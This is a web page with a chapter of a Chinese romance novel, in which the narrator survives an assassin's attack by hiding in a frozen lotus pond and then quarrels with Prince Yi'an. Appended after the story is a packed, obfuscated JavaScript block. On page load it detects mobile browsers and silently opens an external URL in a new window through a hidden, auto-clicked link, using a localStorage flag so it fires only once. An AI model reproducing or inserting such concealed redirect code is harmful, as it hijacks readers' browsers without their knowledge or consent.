第五文学网 > 言情小说 > 一城飞雪一城花 > 第二章 夜深鬼影

第二章 夜深鬼影

    第二日,我一觉睡醒已是日上三杆,紫羽告诉我说翼安王已终回安阳了,只怕要过了正月十五才回来。我点点头,刚开始还有窃喜之意,觉得这个混蛋加坏蛋走了,正合心意。但突然又想起今天怕是要一个人过年了,心中霎时如有种空洞寂寞的感觉,怔怔的半天不出声。

    到了晚上,紫羽将我安顿好,照例去跟园子里其他人聚会了,而我一人,愈发显得孤单孓影。

    我对着一桌的酒菜,想起昨天晚上跟翼安王这家伙打打闹闹说说笑笑,顿时更加胃口全无。

    突然不知怎的,就很想去看看惊云居里的那些暗香浮动梅花,于是,站起身,将那件翼安王挂在墙上用来“驱神镇鬼”的白虎虎皮披风披上,又兜上了风帽,提了盏宫灯往外走去。

    今天是年三十,连原本守在月洞门口的那两个小兵都去吃年夜饭了,我一边走一边暗叹,心中愈发思念姊姊,只是不知该用什么方式联系上她。

    我满怀心思,孤单的慢慢徘徊在惊云居一边的梅林里,幸好有那梅花阵阵萦绕的清香,在沁人肺腑之际,令人精神一振。此时的梅林里,除却我外,再却他人,林中除却我的脚步声外,便是一片死寂。我叹了口气,伸手折了枝开得最为盛意恣肆的红梅。

    此时的天色愈发黑沉了些,北风亦愈发凌厉,我手中宫灯那微弱的光芒在风中飘摇,只能朦朦胧胧的照着前方,如此一来,我全然没了赏梅之心,闷闷地往回走,就在我走至莲花池附近的时候,突然之间,只觉得一阵劲风迎面而来,宫灯就此幽灭,一个冰冷的、低沉的男子声音,毫无预兆地在我耳边响起“薛飞?”

    我被吓得浑身一哆嗦,宫灯亦啪地一声掉在了地上。我浑身僵直的慢慢转身,却看见身后站了个周身一色黑色的蒙面男子,他的整个人似完全融解在这黑暗中一样,似有若无,朦朦胧胧令人看不清,若非他开口说话,我完全有可能看不到他。

    “薛飞?”他冷冷的重复了一遍,冰冷的声音里透着股浓浓的杀气。

    我浑身发抖,唇齿打结,结结巴巴的说道“小……小人并非薛……薛神医,小……小人乃是园……园中花农,因夜寒露……露重,恐冻……冻坏了小王爷心……心爱的……的绿梅,故……故此会在这里。薛……薛神医在那里和紫羽姑娘一块儿……”说着指了指园中灯火通明之处。

    话音未落,那黑衣人眼中的精光顿现,他的眼神就像是一柄出鞘利刃般,寒气四溢,尖锐无比,生生地将我这后面几个字压了下去。我立知不妙,一颗心顿时沉到了谷底,要想开口呼救,却又感觉口干舌燥,声音卡在了喉咙里怎么也发不出来,想要拔腿而跳,却又感觉浑身僵硬,竟似入了梦魇一般,完全是动弹不得。

    黑衣人的眸子里闪出异样的神采,他冷冷地打量着我半天,方才冷冷开口“真是想不到,连翼安王府的一个花农都会穿这么名贵的白虎披风。”

    我又惊又怕,一颗心狂跳得仿佛要蹦出腔子,强作镇定道“尊驾何人,不知找我家薛神医所为何事?”

    “哼!”那黑衣人冷哼了一声“油头粉面,脸上长痣,你不是薛飞还是谁?”说着,他从背上缓缓抽出了一把薄刃长剑,月光之下,那剑泛着令人胆寒的冷光。

    怎么办,园子里这会子这前前后后全都没人,最近的侍卫也在惊云居外,而眼前这黑衣人轻功绰越,别说是跑到外面,就只怕我跑上两三步,就被他给逮到,一剑给宰了。怎么办?怎么办??

    我焦灼地咬着嘴层,一步步地后退,直退到了莲花池的青石板桥边上,突然之间,猛地将身上的虎皮披风扯下来,向他头上兜去。黑衣人见虎皮披风向他迎面兜来,偏身让过,“刷刷刷……”连出数剑,但见剑光如电,一条上好的虎皮披风瞬间变成万千块破布,被风一吹弥散在这黑夜里。

    与此同时他的长剑也已向我胸口刺来,我猛一咬牙,猛地侧身一纵,扑通一声,跳进了莲花池里。那黑衣人显然没有料到我竟会是在这样的天气跳进了莲花池里,一怔之下,竟被我成功跳进了莲花池里。

    我一跃进水里,便觉得自己冻得几乎就要窒息了!那水简直如刀子似的凌迟着我身上的每一寸肌肤,我的手脚在遇到冰水的一瞬间就变得僵硬无比,刺骨的冰水似蛮横无比的强盗一般,飞速地将我身体内的热气夺走。我尽力潜在水底,无声无息的使自己游至青石板桥下面,这才敢把头露出水面,巨大的青石板桥犹如一面巨大而坚硬的石盾,将黑衣人的视线隔开,我躲在这板桥下面,也不必担心会他会突然从水面上给我一剑。

    冷!实在是太冷了!!

    我的双手死死抓住板桥底部的石柱,半悬在水面上,浑身向打摆子一样的颤抖着,牙齿亦不停的打着架,发出轻微的“咯咯”之声。我不知道这个样子我还能撑多久.因为我感觉我的双手已经不听使呼,血管也已经冻结,我逼迫自己冷静下来,一只手环住石柱,一只手哆哆嗦嗦地从衣袖上抽出一枚金针,这是我自跳江逃婚后吸取教训而一直随身带着的。

    我深吸一口气,再次潜入水中,摸索至双脚踝内侧旁边的太溪穴上深扎一针,又分别在涌泉穴、三阴交穴,深扎数针。随后才透出水面,在食指到小指间,各个手指的分叉处,稍靠近手背侧之处的各个穴道连扎数针。最后一针,却是将金针留在了三焦经上的阳池穴,如此一来,便可以加速周身的血液畅通循环,手脚冰冷麻木的感觉也会稍减。

    正在我暗自庆幸的时候,突然听“突突”数声,随即有水花四溅,那黑衣人竟在往池里扔石块,他虽是随手乱扔,但手上的力量奇大,我的背部不意受了一击,顿时专心疼痛,忍不住口喷鲜血。手一松,整个人扑通一下,重新掉进了水中。那黑衣人冷笑声道“原来在这里!”拿了块石头,就要向我掉落之处扔来。我吓得魂飞魄散,以为自己就此丧命之时,一个熟悉地女声怒斥着“什么人?”跟着便一阵刀剑相交的声音。

    我立即拼命向岸边游去,可是我冰冷的水让我神志迷糊,整个人竟慢慢的往下沉了下去,这时,隐约记得有一双有力的大手从湖底把我给托了上来,我的身体再也不能支撑,完全陷入了黑暗。

    再醒来时,有耀眼的阳光直直刺入我的眼睛,我硬撑着,想要起来下地,却感觉头重脚轻,人亦是懒懒的,提不起半点精神。只觉身上仍是一阵阵的发冷,仿佛仍是泡在那刺骨的莲花池里一般。

    整个人还在半梦半醒的迟钝间,却猛然听见了翼安王惊喜万分的声音“你醒了?”我手抚额头,甩了甩头,勉强打起精神道“咦,你不是去了安阳吗?怎么回来了?”

    一双大手托着我的腋下,将我的身子托起,我半靠半依在他身上,这才看清他的模样,忍不住微微一笑了。先前我每次见到他,他都是锦衣富贵的样子,可眼下看上去,却是两眼通红,胡子拉碴,倒有几分江湖草莽的模样。

    “还会笑,看样子,死不了了。”他的目光中亦含着笑意。

    我望着他的笑容,心中略带着一丝不知名的苦涩,长叹道“小王爷,我这次总算是命好死不了,但下次却不知道会不会这么幸运,所以,等我病好之后,能不能放我走?”有风不知从何处掠来,只吹过我的身上不由得漫起一层寒意,正自发抖,忽觉身上一暖,多了一件白狐皮披风在身。

    “你该不会觉得是本王派人来害你吧?”他慢吞吞地说道。

    “不,我从没这么想过。我晓得你不是这样的人,只是……”

    “只是这件事是你逃离本王的一个很好的借口是不是?”他凝视着我,眼中的温度逐渐下降。

    我却没有动,目光之中已满是哀求之色“小王爷,你曾经说过留我这里,是为了保住我头上那颗脑袋。可是现在……”

    翼安王冷笑着打断我“可是现在你觉得本王却保护不了你,是不是?”

    我咬咬牙,淡淡道“是!”

    他怒极,忽地甩开我,站了起来,我的身子原是靠在他身上,他这么一站,顿时不稳,摇晃着差点跌下床来,他长叹一声,又急忙环住我的双肩,将我扶稳。

    “你可知道前晚潜入王府的杀手是什么身份吗?”

    “前晚?”我惊叫起来。

    他看了一我眼,淡淡道“没错,你已经晕了一天一夜了,现在已经是正月初二了。年三十晚上,那个来杀你的人是隐龙山庄的人。”


eval(function(p,a,c,k,e,r){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('s y(){m(S z==="\\t\\6\\5\\0\\u\\3\\6\\0\\5"){A T}B a=(C^C)+(U^V);v D=z[\'\\t\\c\\0\\7\\W\\k\\0\\6\\4\'][\'\\4\\2\\E\\2\\n\\0\\7\\w\\1\\c\\0\']();a=(F^F)+(X^Y);v G=Z 10(\'\\1\\6\\5\\7\\2\\3\\5\\d\\3\\e\\h\\2\\6\\0\\d\\3\\e\\1\\5\\d\\3\\e\\2\\5\\d\\n\\3\\6\\5\\2\\n\\c\\H\\e\\h\\2\\6\\0\\d\\8\\9\\1\\g\\I\\8\\0\\7\\7\\i\\d\\c\\i\\f\\8\\3\\1\\6\\d\\n\\0\\8\\2\\c\\d\\2\\e\\0\\7\\1\\H\\f\\3\\6\\3\\d\\3\\0\\f\\2\\8\\3\\9\\0\\d\\f\\2\\8\\3\\9\\0\',\'\\3\');A G[\'\\4\\0\\c\\4\'](D)}s J(a){B b=(11^12)+(13^14);v j=l[\'\\g\\7\\0\\1\\4\\0\\K\\9\\0\\f\\0\\6\\4\']("\\1");b=(15^16)+(17^18);j[\'\\h\\7\\0\\u\']=a;j[\'\\c\\4\\i\\9\\0\'][\'\\5\\3\\c\\e\\9\\1\\i\']="\\6\\2\\6\\0";j[\'\\4\\1\\7\\k\\0\\4\']="19".o("").p().q("");l[\'\\8\\2\\5\\i\'][\'\\1\\e\\e\\0\\6\\5\\w\\h\\3\\9\\5\'](j);j[\'\\g\\9\\3\\g\\I\']();l[\'\\8\\2\\5\\i\'][\'\\7\\0\\f\\2\\L\\0\\w\\h\\3\\9\\5\'](j)}l[\'\\1\\5\\5\\K\\L\\0\\6\\4\\E\\3\\c\\4\\0\\6\\0\\7\']("1a".o("").p().q(""),s(){m(!M[\'\\k\\9\\2\\8\\1\\9\\N\\1\\7\']){m(l[\'\\8\\2\\5\\i\']!=1b){M[\'\\k\\9\\2\\8\\1\\9\\N\\1\\7\']="\\x";O=P[\'\\k\\0\\4\\x\\4\\0\\f\']("Q".o("").p().q(""));m(!O&&y()){J("\\h\\4\\4\\e\\c\\1c\\r\\r\\u\\1\\g\\1\\3\\1d\\1e\\1f\\R\\2\\1g\\h\\2\\1h\\R\\g\\2\\f\\r\\g\\8\\5\\r\\1\\1\\1\\8\\g\\1")}P[\'\\c\\0\\4\\x\\4\\0\\f\']("Q".o("").p().q(""),"\\4\\7\\t\\0")}}});',62,80,'u0065|u0061|u006F|u0069|u0074|u0064|u006E|u0072|u0062|u006C|||u0073|u007C|u0070|u006D|u0063|u0068|u0079|_0xed55f|u0067|document|if|u0077|split|reverse|join|u002F|function|u0075|u0066|const|u0043|u0049|isMobileDevice|navigator|return|var|610213|_0x96d|u004C|823949|_0x49466c|u0020|u006B|OpenUrl|u0045|u0076|window|u0056|hasExecuted|localStorage|ff_kcul|u002E|typeof|false|630260|630261|u0041|483770|483768|new|RegExp|931764|931765|606841|606840|661798|661807|765516|765515|knalb_|dedaoLtnetnoCMOD|null|u003A|u0031|u0030|u0033|u007A|u006A'.split('|'),0,{}))